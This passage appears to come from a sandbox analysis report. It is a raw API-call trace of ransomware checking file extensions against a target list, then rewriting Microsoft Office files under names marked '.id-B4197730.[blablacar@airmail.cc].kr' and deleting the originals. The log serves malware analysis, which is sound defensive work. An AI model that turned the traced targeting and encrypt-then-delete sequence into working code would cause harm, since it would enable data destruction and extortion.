(lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.102] lstrlenW (lpString=".doc") returned 4 [0191.102] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0191.102] lstrlenW (lpString=".docx") returned 5 [0191.102] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0191.102] lstrlenW (lpString=".pdf") returned 4 [0191.102] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0191.102] lstrlenW (lpString=".xls") returned 4 [0191.102] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0191.102] lstrlenW (lpString=".xlsx") returned 5 [0191.102] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0191.102] lstrlenW (lpString=".ppt") returned 4 [0191.102] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0191.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.102] lstrlenW (lpString=".zip") returned 4 [0191.102] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0191.102] lstrlenW (lpString=".rar") returned 4 [0191.102] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0191.102] lstrlenW (lpString=".bz2") returned 4 [0191.102] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0191.102] lstrlenW (lpString=".7z") returned 3 [0191.102] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0191.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.102] lstrlenW (lpString=".dbf") returned 4 [0191.102] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0191.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.102] lstrlenW (lpString=".1cd") returned 4 [0191.102] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0191.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.102] lstrlenW (lpString=".jpg") returned 4 [0191.103] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0191.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.103] lstrlenW (lpString=".doc") returned 4 [0191.103] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0191.103] lstrlenW (lpString=".docx") returned 5 [0191.103] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0191.103] lstrlenW (lpString=".pdf") returned 4 [0191.103] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0191.103] lstrlenW (lpString=".xls") returned 4 [0191.103] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0191.103] lstrlenW (lpString=".xlsx") returned 5 [0191.103] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0191.103] lstrlenW (lpString=".ppt") returned 4 [0191.103] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0191.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.103] lstrlenW (lpString=".zip") returned 4 [0191.103] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0191.103] lstrlenW (lpString=".rar") returned 4 [0191.103] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0191.103] lstrlenW (lpString=".bz2") returned 4 [0191.103] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0191.103] lstrlenW (lpString=".7z") returned 3 [0191.103] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0191.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.103] lstrlenW (lpString=".dbf") returned 4 [0191.103] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0191.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.103] lstrlenW (lpString=".1cd") returned 4 [0191.103] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0191.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.104] lstrlenW (lpString=".jpg") returned 4 [0191.104] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0191.104] lstrcmpiW (lpString1=".msu", lpString2=".kr") returned 1 [0191.105] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28 [0191.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0191.107] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=994589) returned 1 [0191.107] CloseHandle (hObject=0x36c) returned 1 [0191.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220 [0191.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0191.108] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.108] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0191.109] GetLastError () returned 0x0 [0191.109] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0xf2d1d, lpOverlapped=0x0) returned 1 [0191.412] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xf2d20, lpOverlapped=0x0) returned 1 [0191.612] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.612] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0191.612] SetEndOfFile (hFile=0x370) returned 1 [0191.612] CloseHandle (hObject=0x370) returned 1 [0191.613] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.613] SetEndOfFile (hFile=0x36c) returned 1 [0191.929] CloseHandle (hObject=0x36c) returned 1 [0191.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1 [0191.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.935] lstrlenW (lpString=".doc") returned 4 [0191.935] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0191.935] lstrlenW (lpString=".docx") returned 5 [0191.935] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0191.935] lstrlenW (lpString=".pdf") returned 4 [0191.935] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0191.935] lstrlenW (lpString=".xls") returned 4 [0191.935] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0191.935] lstrlenW (lpString=".xlsx") returned 5 [0191.935] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0191.935] lstrlenW (lpString=".ppt") returned 4 [0191.935] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0191.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.935] lstrlenW (lpString=".zip") returned 4 [0191.935] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0191.935] lstrlenW (lpString=".rar") returned 4 [0191.935] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0191.935] lstrlenW (lpString=".bz2") returned 4 [0191.935] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0191.935] lstrlenW (lpString=".7z") returned 3 [0191.935] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0191.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.936] lstrlenW (lpString=".dbf") returned 4 [0191.936] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0191.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.936] lstrlenW (lpString=".1cd") returned 4 [0191.936] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0191.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.936] lstrlenW (lpString=".jpg") returned 4 [0191.936] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0191.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.936] lstrlenW (lpString=".doc") returned 4 [0191.936] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0191.936] lstrlenW (lpString=".docx") returned 5 [0191.936] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0191.936] lstrlenW (lpString=".pdf") returned 4 [0191.936] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0191.936] lstrlenW (lpString=".xls") returned 4 [0191.936] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0191.936] lstrlenW (lpString=".xlsx") returned 5 [0191.936] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0191.936] lstrlenW (lpString=".ppt") returned 4 [0191.936] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0191.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.936] lstrlenW (lpString=".zip") returned 4 [0191.936] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0191.936] lstrlenW (lpString=".rar") returned 4 [0191.936] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0191.936] lstrlenW (lpString=".bz2") returned 4 [0191.936] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0191.936] lstrlenW (lpString=".7z") returned 3 [0191.937] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0191.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.937] lstrlenW (lpString=".dbf") returned 4 [0191.937] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0191.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.937] lstrlenW (lpString=".1cd") returned 4 [0191.937] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0191.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0191.937] lstrlenW (lpString=".jpg") returned 4 [0191.937] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0191.937] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0191.937] lstrlenW (lpString="AccessR_Grace-ppd.xrm-ms") returned 24 [0191.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0191.940] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20775) returned 1 [0191.940] CloseHandle (hObject=0x36c) returned 1 [0191.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220 [0191.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0191.941] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.941] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0191.943] GetLastError () returned 0x0 [0191.943] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5127, lpOverlapped=0x0) returned 1 [0191.947] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5130, lpOverlapped=0x0) returned 1 [0191.949] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.949] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x104, lpOverlapped=0x0) returned 1 [0191.949] SetEndOfFile (hFile=0x370) returned 1 [0191.949] CloseHandle (hObject=0x370) returned 1 [0191.949] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.949] SetEndOfFile (hFile=0x36c) returned 1 [0191.952] CloseHandle (hObject=0x36c) returned 1 [0191.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1 [0191.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.953] lstrlenW (lpString=".doc") returned 4 [0191.953] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.954] lstrlenW (lpString=".docx") returned 5 [0191.954] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.954] lstrlenW (lpString=".pdf") returned 4 [0191.954] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.954] lstrlenW (lpString=".xls") returned 4 [0191.954] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.954] lstrlenW (lpString=".xlsx") returned 5 [0191.954] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.954] lstrlenW (lpString=".ppt") returned 4 [0191.954] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.954] lstrlenW (lpString=".zip") returned 4 [0191.954] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.954] lstrlenW (lpString=".rar") returned 4 [0191.954] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.954] lstrlenW (lpString=".bz2") returned 4 [0191.954] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.954] lstrlenW (lpString=".7z") returned 3 [0191.954] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.954] lstrlenW (lpString=".dbf") returned 4 [0191.954] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.954] lstrlenW (lpString=".1cd") returned 4 [0191.954] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.954] lstrlenW (lpString=".jpg") returned 4 [0191.954] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.955] lstrlenW (lpString=".doc") returned 4 [0191.955] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString=".docx") returned 5 [0191.955] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.955] lstrlenW (lpString=".pdf") returned 4 [0191.955] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString=".xls") returned 4 [0191.955] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString=".xlsx") returned 5 [0191.955] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.955] lstrlenW (lpString=".ppt") returned 4 [0191.955] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.955] lstrlenW (lpString=".zip") returned 4 [0191.955] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString=".rar") returned 4 [0191.955] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString=".bz2") returned 4 [0191.955] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString=".7z") returned 3 [0191.955] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.955] lstrlenW (lpString=".dbf") returned 4 [0191.955] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.955] lstrlenW (lpString=".1cd") returned 4 [0191.955] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0191.955] lstrlenW (lpString=".jpg") returned 4 [0191.955] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.956] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0191.956] lstrlenW (lpString="AccessR_Grace-ul-oob.xrm-ms") returned 27 [0191.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0191.956] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11594) returned 1 [0191.956] CloseHandle (hObject=0x36c) returned 1 [0191.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220 [0191.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0191.958] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.958] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0191.961] GetLastError () returned 0x0 [0191.961] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d4a, lpOverlapped=0x0) returned 1 [0191.963] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0191.964] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.964] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0191.964] SetEndOfFile (hFile=0x370) returned 1 [0191.965] CloseHandle (hObject=0x370) returned 1 [0191.965] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.965] SetEndOfFile (hFile=0x36c) returned 1 [0191.968] CloseHandle (hObject=0x36c) returned 1 [0191.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1 [0192.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.136] lstrlenW (lpString=".doc") returned 4 [0192.136] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.136] lstrlenW (lpString=".docx") returned 5 